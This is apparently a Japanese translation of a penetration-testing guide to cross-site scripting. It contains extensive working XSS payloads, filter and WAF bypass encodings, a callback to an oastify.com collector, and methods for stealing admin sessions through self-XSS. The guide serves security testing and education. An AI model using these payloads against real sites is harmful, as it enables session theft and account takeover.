XSS (Cross Site Scripting)

もしあなたがハッキングキャリアに興味があり、ハッキング不可能なものをハッキングしたいなら - 私たちは採用しています! (流暢なポーランド語の読み書きが必要です)。

方法論

  1. あなたが制御する任意の値 (パラメータパスヘッダー?、クッキー?) がHTMLに反映されているか、JSコードによって使用されているかを確認します。

  2. 反映されている/使用されているコンテキストを見つけます

  3. 反映されている場合

  4. 使用できる記号を確認し、それに応じてペイロードを準備します:

  5. 生のHTML内で:

  6. 新しいHTMLタグを作成できますか?

  7. javascript:プロトコルをサポートするイベントや属性を使用できますか?

  8. 保護を回避できますか?

  9. HTMLコンテンツがクライアントサイドのJSエンジン (AngularJSVueJSMavo...) によって解釈されている場合、クライアントサイドテンプレートインジェクションを悪用できるかもしれません。

  10. JSコードを実行するHTMLタグを作成できない場合、ダングリングマークアップ - HTMLスクリプトレスインジェクションを悪用できるかもしれません。

  11. HTMLタグ内で

  12. 生のHTMLコンテキストに抜け出せますか?

  13. JSコードを実行するための新しいイベント/属性を作成できますか?

  14. あなたが閉じ込められている属性はJS実行をサポートしていますか?

  15. 保護を回避できますか?

  16. JavaScriptコード内で

  17. <script>タグをエスケープできますか?

  18. 文字列をエスケープして異なるJSコードを実行できますか?

  19. テンプレートリテラル `` に入力がありますか?

  20. 保護を回避できますか?

  21. 実行されているJavaScript 関数

  22. 実行する関数の名前を指定できます。例:?callback=alert(1)

  23. 使用されている場合

  24. DOM XSSを悪用できるかもしれません。あなたの入力がどのように制御されているか、そしてあなたの制御された入力がどのシンクで使用されているかに注意してください

複雑なXSSに取り組む際に知っておくと興味深いことがあります:

Debugging Client Side JS

反映された値

XSSを成功裏に悪用するために最初に見つけるべきことは、あなたが制御する値がウェブページに反映されていることです。

  • 中間的に反映された:パラメータの値やパスがウェブページに反映されていることがわかった場合、反映されたXSSを悪用できるかもしれません。

  • 保存されて反映された:あなたが制御する値がサーバーに保存され、ページにアクセスするたびに反映されることがわかった場合、保存されたXSSを悪用できるかもしれません。

  • JS経由でアクセスされた:あなたが制御する値がJSを使用してアクセスされていることがわかった場合、DOM XSSを悪用できるかもしれません。

コンテキスト

XSSを悪用しようとする際に最初に知っておくべきことは、あなたの入力がどこに反映されているかです。コンテキストに応じて、異なる方法で任意のJSコードを実行できるようになります。

生のHTML

あなたの入力が生のHTMLページに反映されている場合、JSコードを実行するためにいくつかのHTMLタグを悪用する必要があります:<img<iframe<svg<script ... これらは使用できる多くのHTMLタグの一部です。 また、クライアントサイドテンプレートインジェクションを念頭に置いてください。

HTMLタグの属性内

あなたの入力がタグの属性の値内に反映されている場合、次のことを試みることができます:

  1. 属性とタグから抜け出す(その後、生のHTMLにいることになります)新しいHTMLタグを作成して悪用します:"><img [...]

  2. 属性からは抜け出せるがタグからは抜け出せない場合(>がエンコードまたは削除されている)、タグに応じてJSコードを実行するイベントを作成できるかもしれません:" autofocus onfocus=alert(1) x="

  3. 属性から抜け出せない場合("がエンコードまたは削除されている)、どの属性にあなたの値が反映されているか、値全体を制御しているのか一部だけを制御しているのかに応じて悪用できるかもしれません。例えば、onclick=のようなイベントを制御している場合、クリックされたときに任意のコードを実行させることができます。もう一つの興味深いは、href属性で、javascript:プロトコルを使用して任意のコードを実行できます:href="javascript:alert(1)"

  4. あなたの入力が「悪用できないタグ」内に反映されている場合、脆弱性を悪用するために**accesskeyトリックを試みることができます(これを悪用するには何らかの社会工学が必要です):`" accesskey="x" onclick="alert(1)" x="**

クラス名を制御している場合のAngularによるXSSの奇妙な例:

<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>

Inside JavaScript code

この場合、あなたの入力はHTMLページの**<script> [...] </script>タグ、.jsファイル内、またはjavascript:**プロトコルを使用した属性の間に反映されます:

  • <script> [...] </script>タグの間に反映されている場合、たとえあなたの入力がどんな種類の引用符の中にあっても、</script>を注入してこのコンテキストから脱出しようとすることができます。これは、ブラウザが最初にHTMLタグを解析し、その後にコンテンツを解析するため、あなたが注入した</script>タグがHTMLコードの中にあることに気づかないからです。

  • JS文字列の中に反映されている場合、最後のトリックが機能しない場合は、文字列から脱出し、コードを実行し、JSコードを再構築する必要があります(エラーがある場合は実行されません):

  • '-alert(1)-'

  • ';-alert(1)//

  • \';alert(1)//

  • テンプレートリテラルの中に反映されている場合、${ ... }構文を使用してJS式を埋め込むことができます: var greetings = `Hello, ${alert(1)}`

  • Unicodeエンコード有効なjavascriptコードを書くために機能します:

\u{61}lert(1)
\u0061lert(1)
\u{0061}lert(1)

Javascript Hoisting

Javascript Hoistingは、関数、変数、またはクラスを使用した後に宣言する機会を指し、未宣言の変数や関数を使用するXSSのシナリオを悪用することができます。 詳細については、以下のページを確認してください:

JS Hoisting

Javascript Function

いくつかのウェブページには、実行する関数の名前をパラメータとして受け入れるエンドポイントがあります。 実際に見られる一般的な例は、?callback=callbackFuncのようなものです。

ユーザーによって直接提供された何かが実行されようとしているかどうかを確認する良い方法は、パラメータの値を変更すること(例えば「Vulnerable」に)で、コンソールで次のようなエラーを探すことです:

もし脆弱であれば、値を送信するだけでアラートをトリガーできる可能性があります: ?callback=alert(1)。ただし、これらのエンドポイントは、内容を検証して、文字、数字、ドット、アンダースコアのみを許可することが非常に一般的です([\w\._])。**

しかし、その制限があっても、いくつかのアクションを実行することはまだ可能です。これは、有効な文字を使用してDOM内の任意の要素にアクセスできるためです:

これに役立ついくつかの関数:

firstElementChild
lastElementChild
nextElementSibiling
lastElementSibiling
parentElement

あなたはまた、Javascript関数を直接トリガーすることも試すことができます: obj.sales.delOrders

しかし、通常、指定された関数を実行するエンドポイントは、あまり興味深いDOMを持たないエンドポイントです。同じオリジンの他のページは、より多くのアクションを実行するためのより興味深いDOMを持っています。

したがって、異なるDOMでこの脆弱性を悪用するために、**Same Origin Method Execution (SOME)**の悪用が開発されました:

SOME - Same Origin Method Execution

DOM

攻撃者によって制御されたデータ(例: location.href)を安全でない方法で使用しているJSコードがあります。攻撃者は、これを悪用して任意のJSコードを実行することができます。

DOM XSS

Universal XSS

この種のXSSはどこにでも見つけることができます。これらは、Webアプリケーションのクライアントの悪用だけでなく、あらゆる コンテキストに依存します。この種の任意のJavaScript実行は、RCEを取得したり、クライアントやサーバーの任意のファイルを読み取ったりするために悪用されることさえあります。 いくつかの

Server Side XSS (Dynamic PDF)Electron Desktop Apps

WAFバイパスエンコーディング画像

from https://twitter.com/hackerscrolls/status/1273254212546281473?s=21

生のHTML内に注入

あなたの入力がHTMLページ内に反映される場合、またはこのコンテキストでHTMLコードをエスケープして注入できる場合、最初に行うべきことは、<を悪用して新しいタグを作成できるかどうかを確認することです: その文字反映させて、HTMLエンコードされているか、削除されているか、または変更なしで反映されているかを確認してください。最後のケースでのみ、このケースを悪用できるでしょう。 この場合も、Client Side Template Injectionを念頭に置いてください。 **注: HTMLコメントは、******** --> または ****--!>**で閉じることができます。

この場合、ブラックリスト/ホワイトリストが使用されていない場合、次のようなペイロードを使用できます:

<script>alert(1)</script>
<img src=x onerror=alert(1) />
<svg onload=alert('XSS')>

しかし、タグ/属性のブラック/ホワイトリストが使用されている場合、どのタグを作成できるかをブルートフォースする必要があります。 どのタグが許可されているかを特定したら、見つかった有効なタグ内の属性/イベントをブルートフォースして、どのようにコンテキストを攻撃できるかを確認する必要があります。

タグ/イベントのブルートフォース

https://portswigger.net/web-security/cross-site-scripting/cheat-sheetに移動し、_タグをクリップボードにコピーをクリックします。次に、Burp intruderを使用してそれらすべてを送信し、WAFによって悪意のあるものとして発見されなかったタグがあるかどうかを確認します。使用できるタグを特定したら、有効なタグを使用してすべてのイベントをブルートフォースできます(同じウェブページでイベントをクリップボードにコピー_をクリックし、前と同じ手順に従います)。

カスタムタグ

有効なHTMLタグが見つからなかった場合、カスタムタグを作成し、onfocus属性でJSコードを実行することを試みることができます。XSSリクエストでは、URLを#で終わらせてページがそのオブジェクトにフォーカスし、コードを実行する必要があります。

/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x

ブラックリストバイパス

もし何らかのブラックリストが使用されている場合、いくつかのくだらないトリックを使ってバイパスを試みることができます:

//Random capitalization
<script> --> <ScrIpT>
<img --> <ImG

//Double tag, in case just the first match is removed
<script><script>
<scr<script>ipt>
<SCRscriptIPT>alert(1)</SCRscriptIPT>

//You can substitude the space to separate attributes for:
/
/*%00/
/%00*/
%2F
%0D
%0C
%0A
%09

//Unexpected parent tags
<svg><x><script>alert('1'&#41</x>

//Unexpected weird attributes
<script x>
<script a="1234">
<script ~~~>
<script/random>alert(1)</script>
<script      ///Note the newline
>alert(1)</script>
<scr\x00ipt>alert(1)</scr\x00ipt>

//Not closing tag, ending with " <" or " //"
<iframe SRC="javascript:alert('XSS');" <
<iframe SRC="javascript:alert('XSS');" //

//Extra open
<<script>alert("XSS");//<</script>

//Just weird an unexpected, use your imagination
<</script/script><script>
<input type=image src onerror="prompt(1)">

//Using `` instead of parenthesis
onerror=alert`1`

//Use more than one
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //

長さバイパス(小さなXSS)

異なる環境のためのより小さなXSS ペイロード はこちらこちら で見つけることができます。

<!-- Taken from the blog of Jorge Lajara -->
<svg/onload=alert``>
<script src=//aa.es>
<script src=//℡㏛.pw>

The last one is using 2 unicode characters which expands to 5: telsr More of these characters can be found here. To check in which characters are decomposed check here.

Click XSS - Clickjacking

もし脆弱性を悪用するためにユーザーがリンクや事前に入力されたデータを持つフォームをクリックする必要がある場合、Clickjackingを悪用することを試みることができます(ページが脆弱な場合)。

Impossible - Dangling Markup

もしJSコードを実行する属性を持つHTMLタグを作成することが不可能だと思うなら、Dangling Markupを確認してください。なぜなら、JSコードを実行することなく脆弱性を悪用できるからです。

Injecting inside HTML tag

Inside the tag/escaping from attribute value

もしHTMLタグの内部にいる場合、最初に試すべきことは、タグからエスケープして、前のセクションで言及された技術のいくつかを使用してJSコードを実行することです。 もしタグからエスケープできない場合、タグの内部に新しい属性を作成してJSコードを実行しようとすることができます。例えば、(この例では属性からエスケープするために二重引用符が使用されていますが、入力がタグ内に直接反映される場合は必要ありません):

" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t

スタイルイベント

<p style="animation: x;" onanimationstart="alert()">XSS</p>
<p style="animation: x;" onanimationend="alert()">XSS</p>

#ayload that injects an invisible overlay that will trigger a payload if anywhere on the page is clicked:
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" onclick="alert(1)"></div>
#moving your mouse anywhere over the page (0-click-ish):
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>

属性内

たとえ属性から逃げることができなくても"がエンコードまたは削除されている場合)、どの属性にあなたの値が反映されているかによって、すべての値を制御しているのか、一部だけを制御しているのかに応じて、それを悪用することができます。例えばonclick=のようなイベントを制御している場合、クリックされたときに任意のコードを実行させることができます。 もう一つの興味深いは、href属性で、javascript:プロトコルを使用して任意のコードを実行できることです:href="javascript:alert(1)"

HTMLエンコーディング/URLエンコードを使用したイベント内のバイパス

HTMLタグ属性の値内のHTMLエンコードされた文字ランタイムでデコードされます。したがって、次のようなものは有効です(ペイロードは太字で示されています):<a id="author" href="http://none" onclick="var tracker='http://foo?&apos;-alert(1)-&apos;';">戻る</a>

あらゆる種類のHTMLエンコードが有効であることに注意してください

//HTML entities
&apos;-alert(1)-&apos;
//HTML hex without zeros
&#x27-alert(1)-&#x27
//HTML hex with zeros
&#x00027-alert(1)-&#x00027
//HTML dec without zeros
&#39-alert(1)-&#39
//HTML dec with zeros
&#00039-alert(1)-&#00039

<a href="javascript:var a='&apos;-alert(1)-&apos;'">a</a>
<a href="&#106;avascript:alert(2)">a</a>
<a href="jav&#x61script:alert(3)">a</a>

URLエンコードも機能することに注意してください:

<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>

Unicodeエンコードを使用して内部イベントをバイパスする

//For some reason you can use unicode to encode "alert" but not "(1)"
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />

属性内の特別なプロトコル

そこでは、javascript: または data: プロトコルをいくつかの場所で使用して 任意のJSコードを実行 できます。いくつかはユーザーの操作を必要とし、いくつかは必要ありません。

javascript:alert(1)
JavaSCript:alert(1)
javascript:%61%6c%65%72%74%28%31%29 //URL encode
javascript&colon;alert(1)
javascript&#x003A;alert(1)
javascript&#58;alert(1)
&#x6a&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3aalert(1)
java        //Note the new line
script:alert(1)

data:text/html,<script>alert(1)</script>
DaTa:text/html,<script>alert(1)</script>
data:text/html;charset=iso-8859-7,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e
data:text/html;charset=UTF-8,<script>alert(1)</script>
data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg
data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==

これらのプロトコルを注入できる場所

一般的に javascript: プロトコルは href 属性を受け入れる任意のタグで使用できほとんどの src 属性を受け入れるタグで使用できます(ただし <img> は除く)

<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<form action="javascript:alert(1)"><button>send</button></form>
<form id=x></form><button form="x" formaction="javascript:alert(1)">send</button>
<object data=javascript:alert(3)>
<iframe src=javascript:alert(2)>
<embed src=javascript:alert(1)>

<object data="data:text/html,<script>alert(5)</script>">
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed>
<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>
<iframe src="data:text/html,<script>alert(5)</script>"></iframe>

//Special cases
<object data="//hacker.site/xss.swf"> .//https://github.com/evilcos/xss.swf
<embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
<iframe srcdoc="<svg onload=alert(4);>">

他の難読化トリック

この場合、前のセクションのHTMLエンコーディングとUnicodeエンコーディングのトリックも有効です。あなたは属性内にいるためです。

<a href="javascript:var a='&apos;-alert(1)-&apos;'">

さらに、これらのケースには別の素晴らしいトリックがあります:javascript:...内の入力がURLエンコードされていても、実行される前にURLデコードされます。 したがって、シングルクォートを使用して文字列からエスケープする必要がある場合、URLエンコードされているのを見たら、それは重要ではありません。 実行時にシングルクォートとして解釈されます。

&apos;-alert(1)-&apos;
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>

注意してください、もしあなたが両方を使用しようとすると URLencode + HTMLencode どの順序でもペイロードをエンコードすると動作しませんが、ペイロード内で混ぜることができます

javascript:を使った16進数と8進数のエンコード

HexOctal encodeiframesrc属性内で(少なくとも)使用してJSを実行するHTMLタグを宣言することができます:

//Encoded: <svg onload=alert(1)>
// This WORKS
<iframe src=javascript:'\x3c\x73\x76\x67\x20\x6f\x6e\x6c\x6f\x61\x64\x3d\x61\x6c\x65\x72\x74\x28\x31\x29\x3e' />
<iframe src=javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76' />

//Encoded: alert(1)
// This doesn't work
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />

リバースタブナビゲーション

<a target="_blank" rel="opener"

もし任意の**<a href=タグにURLを挿入でき、そのタグがtarget="_blank"およびrel="opener"**属性を含む場合は、この動作を悪用するために以下のページを確認してください

Reverse Tab Nabbing

イベントハンドラーのバイパス

まず、役立つ**"on"イベントハンドラー**についてはこのページを確認してください(https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)。 このイベントハンドラーの作成を妨げるブラックリストがある場合は、以下のバイパスを試すことができます:

<svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)>
<svg %09onload%20=alert(1)>
<svg onload%09%20%28%2c%3b=alert(1)>

//chars allowed between the onevent and the "="
IExplorer: %09 %0B %0C %020 %3B
Chrome: %09 %20 %28 %2C %3B
Safari: %2C %3B
Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B

こちら から、隠し入力を悪用することが可能になりました:

<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle=alert(1)>

そしてmetaタグでは:

<!-- Injection inside meta attribute-->
<meta name="apple-mobile-web-app-title" content=""Twitter popover id="newsletter" onbeforetoggle=alert(2) />
<!-- Existing target-->
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>

こちらから: 隠し属性内でXSSペイロードを実行できますが、犠牲者キーの組み合わせを押すように説得する必要があります。FirefoxのWindows/Linuxではキーの組み合わせはALT+SHIFT+Xで、OS XではCTRL+ALT+Xです。アクセスキー属性で異なるキーを使用して異なるキーの組み合わせを指定できます。こちらがベクターです:

<input type="hidden" accesskey="X" onclick="alert(1)">

XSSペイロードは次のようになります:" accesskey="x" onclick="alert(1)" x="

ブラックリストバイパス

このセクションでは、さまざまなエンコーディングを使用するトリックがすでに公開されています。戻って、どこで使用できるかを学びましょう:

  • HTMLエンコーディング(HTMLタグ)

  • Unicodeエンコーディング(有効なJSコードになる可能性があります): \u0061lert(1)

  • URLエンコーディング

  • 16進数および8進数エンコーディング

  • データエンコーディング

HTMLタグと属性のバイパス

前のセクションのブラックリストバイパスを読む

JavaScriptコードのバイパス

次のセクションのJavaScriptバイパスブラックリストを読む

CSSガジェット

もし、非常に小さな部分のウェブでXSSを見つけた場合、何らかのインタラクションが必要です(フッターの小さなリンクにonmouseover要素があるかもしれません)、その要素が占めるスペースを変更してリンクが発火する確率を最大化することを試みることができます。

例えば、要素に次のようなスタイルを追加することができます:position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5

しかし、WAFがスタイル属性をフィルタリングしている場合、CSSスタイリングガジェットを使用できます。例えば、次のようなものを見つけた場合

.test {display:block; color: blue; width: 100%}

#someid {top: 0; font-family: Tahoma;}

今、リンクを変更して次の形式にすることができます

<a href="" id=someid class=test onclick=alert() a="">

このトリックはhttps://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703から取られました。

JavaScriptコード内へのインジェクション

この場合、あなたの入力.jsファイルのJSコード内に反映されるか、<script>...</script>タグの間、またはJSコードを実行できるHTMLイベントの間、またはjavascript:プロトコルを受け入れる属性の間にあります。

<script>タグのエスケープ

もしあなたのコードが<script> [...] var input = 'reflected data' [...] </script>の中に挿入されている場合、簡単に**<script>タグを閉じることでエスケープ**できます:

</script><img src=1 onerror=alert(document.domain)>

注意、この例ではシングルクォートを閉じていません。これは、HTMLの解析が最初にブラウザによって行われるためで、ページ要素、スクリプトのブロックを特定することが含まれます。埋め込まれたスクリプトを理解し実行するためのJavaScriptの解析は、その後に行われます。

JSコード内

<>がサニタイズされている場合でも、入力がある場所で文字列をエスケープし、任意のJSを実行することができます。JSの構文を修正することが重要です。エラーがあると、JSコードは実行されません:

'-alert(document.domain)-'
';alert(document.domain)//
\';alert(document.domain)//

テンプレートリテラル ``

文字列を構築するために、シングルクォートやダブルクォートの他に、JSはバックティック ``も受け入れます。これはテンプレートリテラルと呼ばれ、${ ... }構文を使用してJS式を埋め込むことができます。 したがって、バックティックを使用しているJS文字列の中に入力が反映されていることがわかった場合、${ ... }構文を悪用して任意のJSコードを実行することができます:

これは次のように悪用できます:

`${alert(1)}`
`${`${`${`${alert(1)}`}`}`}`
// This is valid JS code, because each time the function returns itself it's recalled with ``
function loop(){return loop}
loop``````````````

エンコードされたコード実行

<script>\u0061lert(1)</script>
<svg><script>alert&lpar;'1'&rpar;
<svg><script>&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;</script></svg>  <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;</iframe>">

Unicode エンコード JS 実行

\u{61}lert(1)
\u0061lert(1)
\u{0061}lert(1)

JavaScript バイパス ブラックリスト技術

文字列

"thisisastring"
'thisisastrig'
`thisisastring`
/thisisastring/ == "/thisisastring/"
/thisisastring/.source == "thisisastring"
"\h\e\l\l\o"
String.fromCharCode(116,104,105,115,105,115,97,115,116,114,105,110,103)
"\x74\x68\x69\x73\x69\x73\x61\x73\x74\x72\x69\x6e\x67"
"\164\150\151\163\151\163\141\163\164\162\151\156\147"
"\u0074\u0068\u0069\u0073\u0069\u0073\u0061\u0073\u0074\u0072\u0069\u006e\u0067"
"\u{74}\u{68}\u{69}\u{73}\u{69}\u{73}\u{61}\u{73}\u{74}\u{72}\u{69}\u{6e}\u{67}"
"\a\l\ert\(1\)"
atob("dGhpc2lzYXN0cmluZw==")
eval(8680439..toString(30))(983801..toString(36))

特別なエスケープ

'\b' //backspace
'\f' //form feed
'\n' //new line
'\r' //carriage return
'\t' //tab
'\b' //backspace
'\f' //form feed
'\n' //new line
'\r' //carriage return
'\t' //tab
// Any other char escaped is just itself

JSコード内のスペースの置換

<TAB>
/**/

JavaScript コメント (から JavaScript コメント トリック)

//This is a 1 line comment
/* This is a multiline comment*/
<!--This is a 1line comment
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line

JavaScriptの改行( JavaScriptの改行 トリック)

//Javascript interpret as new line these chars:
String.fromCharCode(10); alert('//\nalert(1)') //0x0a
String.fromCharCode(13); alert('//\ralert(1)') //0x0d
String.fromCharCode(8232); alert('//\u2028alert(1)') //0xe2 0x80 0xa8
String.fromCharCode(8233); alert('//\u2029alert(1)') //0xe2 0x80 0xa9

JavaScriptの空白

log=[];
function funct(){}
for(let i=0;i<=0x10ffff;i++){
try{
eval(`funct${String.fromCodePoint(i)}()`);
log.push(i);
}
catch(e){}
}
console.log(log)
//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8232,8233,8239,8287,12288,65279

//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:
<img/src/onerror=alert&#65279;(1)>

コメント内のJavascript

//If you can only inject inside a JS comment, you can still leak something
//If the user opens DevTools request to the indicated sourceMappingURL will be send

//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com

括弧なしのJavaScript

// By setting location
window.location='javascript:alert\x281\x29'
x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x
// or any DOMXSS sink such as location=name

// Backtips
// Backtips pass the string as an array of lenght 1
alert`1`

// Backtips + Tagged Templates + call/apply
eval`alert\x281\x29` // This won't work as it will just return the passed array
setTimeout`alert\x281\x29`
eval.call`${'alert\x281\x29'}`
eval.apply`${[`alert\x281\x29`]}`
[].sort.call`${alert}1337`
[].map.call`${eval}\\u{61}lert\x281337\x29`

// To pass several arguments you can use
function btt(){
console.log(arguments);
}
btt`${'arg1'}${'arg2'}${'arg3'}`

//It's possible to construct a function and call it
Function`x${'alert(1337)'}x```

// .replace can use regexes and call a function if something is found
"a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a,"
"a".replace.call`1${/./}${alert}`
// This happened in the previous example
// Change "this" value of call to "1,"
// match anything with regex /./
// call alert with "1"
"a".replace.call`1337${/..../}${alert}` //alert with 1337 instead

// Using Reflect.apply to call any function with any argumnets
Reflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function.
Reflect.apply.call`${navigation.navigate}${navigation}${[name]}`
// Using Reflect.set to call set any value to a variable
Reflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third.



// valueOf, toString
// These operations are called when the object is used as a primitive
// Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used
valueOf=alert;window+''
toString=alert;window+''


// Error handler
window.onerror=eval;throw"=alert\x281\x29";
onerror=eval;throw"=alert\x281\x29";
<img src=x onerror="window.onerror=eval;throw'=alert\x281\x29'">
{onerror=eval}throw"=alert(1)" //No ";"
onerror=alert //No ";" using new line
throw 1337
// Error handler + Special unicode separators
eval("onerror=\u2028alert\u2029throw 1337");
// Error handler + Comma separator
// The comma separator goes through the list and returns only the last element
var a = (1,2,3,4,5,6) // a = 6
throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alert
throw onerror=alert,1,1,1,1,1,1337
// optional exception variables inside a catch clause.
try{throw onerror=alert}catch{throw 1}


// Has instance symbol
'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}
'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}
// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.

任意の関数(alert)呼び出し

//Eval like functions
eval('ale'+'rt(1)')
setTimeout('ale'+'rt(2)');
setInterval('ale'+'rt(10)');
Function('ale'+'rt(10)')``;
[].constructor.constructor("alert(document.domain)")``
[]["constructor"]["constructor"]`$${alert()}```
import('data:text/javascript,alert(1)')

//General function executions
`` //Can be use as parenthesis
alert`document.cookie`
alert(document['cookie'])
with(document)alert(cookie)
(alert)(1)
(alert(1))in"."
a=alert,a(1)
[1].find(alert)
window['alert'](0)
parent['alert'](1)
self['alert'](2)
top['alert'](3)
this['alert'](4)
frames['alert'](5)
content['alert'](6)
[7].map(alert)
[8].find(alert)
[9].every(alert)
[10].filter(alert)
[11].findIndex(alert)
[12].forEach(alert);
top[/al/.source+/ert/.source](1)
top[8680439..toString(30)](1)
Function("ale"+"rt(1)")();
new Function`al\ert\`6\``;
Set.constructor('ale'+'rt(13)')();
Set.constructor`al\x65rt\x2814\x29```;
$='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y)
x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y))
this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array)
globalThis[`al`+/ert/.source]`1`
this[`al`+/ert/.source]`1`
[alert][0].call(this,1)
window['a'+'l'+'e'+'r'+'t']()
window['a'+'l'+'e'+'r'+'t'].call(this,1)
top['a'+'l'+'e'+'r'+'t'].apply(this,[1])
(1,2,3,4,5,6,7,8,alert)(1)
x=alert,x(1)
[1].find(alert)
top["al"+"ert"](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
al\u0065rt`1`
top['al\145rt'](1)
top['al\x65rt'](1)
top[8680439..toString(30)](1)
<svg><animate onbegin=alert() attributeName=x></svg>

DOMの脆弱性

攻撃者によって制御される安全でないデータを使用しているJSコードがあります。例えばlocation.hrefです。攻撃者はこれを悪用して任意のJSコードを実行することができます。 DOMの脆弱性に関する説明が長くなったため、 このページに移動しました:

DOM XSS

そこでは、DOMの脆弱性とは何か、どのように引き起こされるのか、そしてどのように悪用されるのかについての詳細な説明があります。 また、前述の投稿の最後には、 DOMクラッバー攻撃についての説明がありますので、忘れないでください。

セルフXSSのアップグレード

クッキーXSS

もしクッキーの中にペイロードを送信することでXSSをトリガーできる場合、これは通常セルフXSSです。しかし、もしXSSに対して脆弱なサブドメインを見つけた場合、このXSSを悪用して全ドメインにクッキーを注入し、メインドメインや他のサブドメイン(クッキーXSSに対して脆弱なもの)でクッキーXSSをトリガーすることができます。これにはクッキー投げ攻撃を使用できます:

Cookie Tossing

この技術の素晴らしい悪用例は、このブログ投稿で見つけることができます。

管理者にセッションを送信する

ユーザーが自分のプロフィールを管理者と共有できる場合、もしセルフXSSがユーザーのプロフィール内にあり、管理者がそれにアクセスすると、脆弱性がトリガーされます。

セッションミラーリング

もしセルフXSSを見つけ、ウェブページに管理者用のセッションミラーリングがある場合、例えばクライアントが助けを求めることを許可し、管理者があなたを助けるためにあなたのセッションで見ているものを彼のセッションから見ることができます。

あなたは管理者にセルフXSSをトリガーさせて、彼のクッキー/セッションを盗むことができます。

その他のバイパス

正規化されたUnicode

